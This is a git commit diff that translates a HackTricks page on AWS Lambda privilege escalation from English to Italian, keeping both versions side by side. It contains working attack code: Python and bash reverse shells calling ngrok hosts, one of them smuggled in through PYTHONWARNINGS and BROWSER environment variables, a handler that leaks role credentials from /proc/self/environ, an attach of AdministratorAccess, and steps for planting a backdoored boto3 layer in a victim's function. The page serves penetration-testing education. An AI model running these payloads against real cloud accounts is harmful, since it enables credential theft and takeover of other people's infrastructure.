Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:18:58 +00:00
parent 820dd99aed
commit 931ae54e5f
245 changed files with 9984 additions and 12710 deletions

View File

@@ -4,7 +4,7 @@
## lambda
More info about lambda in:
Ulteriori informazioni su lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,23 +12,22 @@ More info about lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\
Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\
A attacker could abuse this to get a **rev shell and steal the token**:
Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:InvokeFunction`** possono elevare i loro privilegi.\
Possono **creare una nuova funzione Lambda e assegnarle un ruolo IAM esistente**, concedendo alla funzione i permessi associati a quel ruolo. L'utente può quindi **scrivere e caricare codice su questa funzione Lambda (con una rev shell, ad esempio)**.\
Una volta configurata la funzione, l'utente può **attivare la sua esecuzione** e le azioni previste invocando la funzione Lambda tramite l'API AWS. Questo approccio consente effettivamente all'utente di eseguire compiti indirettamente attraverso la funzione Lambda, operando con il livello di accesso concesso al ruolo IAM associato ad essa.\\
Un attaccante potrebbe abusare di questo per ottenere una **rev shell e rubare il token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```
```bash
@@ -37,8 +36,8 @@ zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
@@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
You could also **abuse the lambda role permissions** from the lambda function itself.\
If the lambda role had enough permissions you could use it to grant admin rights to you:
Puoi anche **abusare dei permessi del ruolo lambda** dalla funzione lambda stessa.\
Se il ruolo lambda avesse abbastanza permessi, potresti usarlo per concederti diritti di amministratore:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.
È anche possibile leak le credenziali del ruolo della lambda senza necessitare di una connessione esterna. Questo sarebbe utile per **Network isolated Lambdas** utilizzate in compiti interni. Se ci sono gruppi di sicurezza sconosciuti che filtrano le tue reverse shell, questo pezzo di codice ti permetterà di leak direttamente le credenziali come output della lambda.
```python
def handler(event, context):
    sessiontoken = open('/proc/self/environ', "r").read()
    return {
        'statusCode': 200,
        'session': str(sessiontoken)
    }
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```
```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
> [!CAUTION]
> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
> Nota che anche se potrebbe sembrare interessante **`lambda:InvokeAsync`** **non** consente da solo di **eseguire `aws lambda invoke-async`**, hai anche bisogno di `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`**
Come nel scenario precedente, puoi **concederti il permesso `lambda:InvokeFunction`** se hai il permesso **`lambda:AddPermission`**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda arbitrario specificato.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
They can create a **Lambda function with malicious code and assign it an existing IAM role**.
Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.
Gli utenti con i permessi **`iam:PassRole`, `lambda:CreateFunction` e `lambda:CreateEventSourceMapping`** (e potenzialmente `dynamodb:PutItem` e `dynamodb:CreateTable`) possono indirettamente **escalare i privilegi** anche senza `lambda:InvokeFunction`.\
Possono creare una **funzione Lambda con codice malevolo e assegnarle un ruolo IAM esistente**.
Invece di invocare direttamente la Lambda, l'utente configura o utilizza una tabella DynamoDB esistente, collegandola alla Lambda tramite una mappatura della sorgente evento. Questa configurazione garantisce che la funzione Lambda venga **attivata automaticamente all'inserimento di un nuovo elemento** nella tabella, sia per azione dell'utente che per un altro processo, attivando così indirettamente la funzione Lambda ed eseguendo il codice con i permessi del ruolo IAM passato.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:
Se DynamoDB è già attivo nell'ambiente AWS, l'utente deve solo **stabilire il mapping della sorgente eventi** per la funzione Lambda. Tuttavia, se DynamoDB non è in uso, l'utente deve **creare una nuova tabella** con lo streaming abilitato:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:
Ora è possibile **collegare la funzione Lambda alla tabella DynamoDB** creando **una mappatura della sorgente evento**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:
Con la funzione Lambda collegata al flusso DynamoDB, l'attaccante può **attivare indirettamente la Lambda attivando il flusso DynamoDB**. Questo può essere realizzato **inserendo un elemento** nella tabella DynamoDB:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
--item Test={S="Random string"}
```
**Potential Impact:** Direct privesc to the lambda service role specified.
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda specificato.
### `lambda:AddPermission`
An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
Un attaccante con questo permesso può **concedere a se stesso (o ad altri) qualsiasi permesso** (questo genera politiche basate sulle risorse per concedere accesso alla risorsa):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -147,71 +130,62 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato concedendo il permesso di modificare il codice e eseguirlo.
### `lambda:AddLayerVersionPermission`
An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
Un attaccante con questo permesso può **concedere a se stesso (o ad altri) il permesso `lambda:GetLayerVersion`**. Potrebbe accedere al layer e cercare vulnerabilità o informazioni sensibili.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** Potential access to sensitive information.
**Impatto Potenziale:** Accesso potenziale a informazioni sensibili.
### `lambda:UpdateFunctionCode`
Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\
The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.
Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
Gli utenti che detengono il permesso **`lambda:UpdateFunctionCode`** hanno il potenziale di **modificare il codice di una funzione Lambda esistente che è collegata a un ruolo IAM.**\
L'attaccante può **modificare il codice della lambda per esfiltrare le credenziali IAM**.
Sebbene l'attaccante potrebbe non avere la capacità diretta di invocare la funzione, se la funzione Lambda è preesistente e operativa, è probabile che venga attivata attraverso flussi di lavoro o eventi esistenti, facilitando così indirettamente l'esecuzione del codice modificato.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potential Impact:** Direct privesc to the lambda service role used.
**Impatto Potenziale:** Privesc diretto al ruolo di servizio lambda utilizzato.
### `lambda:UpdateFunctionConfiguration`
#### RCE via env variables
With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
#### RCE tramite variabili d'ambiente
Con questi permessi è possibile aggiungere variabili d'ambiente che causeranno l'esecuzione di codice arbitrario da parte di Lambda. Ad esempio, in python è possibile abusare delle variabili d'ambiente `PYTHONWARNING` e `BROWSER` per far eseguire a un processo python comandi arbitrari:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
Per altri linguaggi di scripting ci sono altre variabili d'ambiente che puoi utilizzare. Per ulteriori informazioni controlla le sottosezioni dei linguaggi di scripting in:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
{{#endref}}
#### RCE via Lambda Layers
#### RCE tramite Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
Inside lambda you can check the paths from where python code is loaded with a function like the following:
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) consente di includere **codice** nella tua funzione lambda ma **memorizzandolo separatamente**, in modo che il codice della funzione possa rimanere piccolo e **diverse funzioni possano condividere codice**.
All'interno di lambda puoi controllare i percorsi da cui viene caricato il codice python con una funzione come la seguente:
```python
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
print(json.dumps(sys.path, indent=2))
```
These are the places:
Questi sono i luoghi:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -224,73 +198,61 @@ These are the places:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
Ad esempio, la libreria boto3 è caricata da `/var/runtime/boto3` (4ª posizione).
#### Exploitation
#### Sfruttamento
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
È possibile abusare del permesso `lambda:UpdateFunctionConfiguration` per **aggiungere un nuovo layer** a una funzione lambda. Per eseguire codice arbitrario, questo layer deve contenere qualche **libreria che la lambda importerà.** Se puoi leggere il codice della lambda, potresti trovarlo facilmente, nota anche che potrebbe essere possibile che la lambda stia **già utilizzando un layer** e potresti **scaricare** il layer e **aggiungere il tuo codice** lì dentro.
Ad esempio, supponiamo che la lambda stia utilizzando la libreria boto3, questo creerà un layer locale con l'ultima versione della libreria:
```bash
pip3 install -t ./lambda_layer boto3
```
Puoi aprire `./lambda_layer/boto3/__init__.py` e **aggiungere la backdoor nel codice globale** (una funzione per esfiltrare credenziali o ottenere una reverse shell, ad esempio).
You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
Poi, comprimi quella directory `./lambda_layer` e **carica il nuovo lambda layer** nel tuo account (o in quello delle vittime, ma potresti non avere i permessi per farlo).\
Nota che devi creare una cartella python e mettere le librerie lì per sovrascrivere /opt/python/boto3. Inoltre, il layer deve essere **compatibile con la versione di python** utilizzata dalla lambda e se lo carichi nel tuo account, deve essere nella **stessa regione:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Now, make the uploaded lambda layer **accessible by any account**:
Ora, rendi il layer lambda caricato **accessibile da qualsiasi account**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
And attach the lambda layer to the victim lambda function:
E allega il layer lambda alla funzione lambda della vittima:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Il passo successivo sarebbe **invocare la funzione** noi stessi se possiamo o aspettare che **venga invocata** con mezzi normali, che è il metodo più sicuro.
The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal meanswhich is the safer method.
A **more stealth way to exploit this vulnerability** can be found in:
Un **modo più furtivo per sfruttare questa vulnerabilità** può essere trovato in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potential Impact:** Direct privesc to the lambda service role used.
**Impatto Potenziale:** Privesc diretto al ruolo del servizio lambda utilizzato.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!
Forse con quei permessi sei in grado di creare una funzione ed eseguirla chiamando l'URL... ma non sono riuscito a trovare un modo per testarlo, quindi fammi sapere se lo fai!
### Lambda MitM
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
Alcuni lambda riceveranno **informazioni sensibili dagli utenti nei parametri.** Se ottieni RCE in uno di essi, puoi esfiltrare le informazioni che altri utenti stanno inviando, controlla in:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## References
## Riferimenti
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}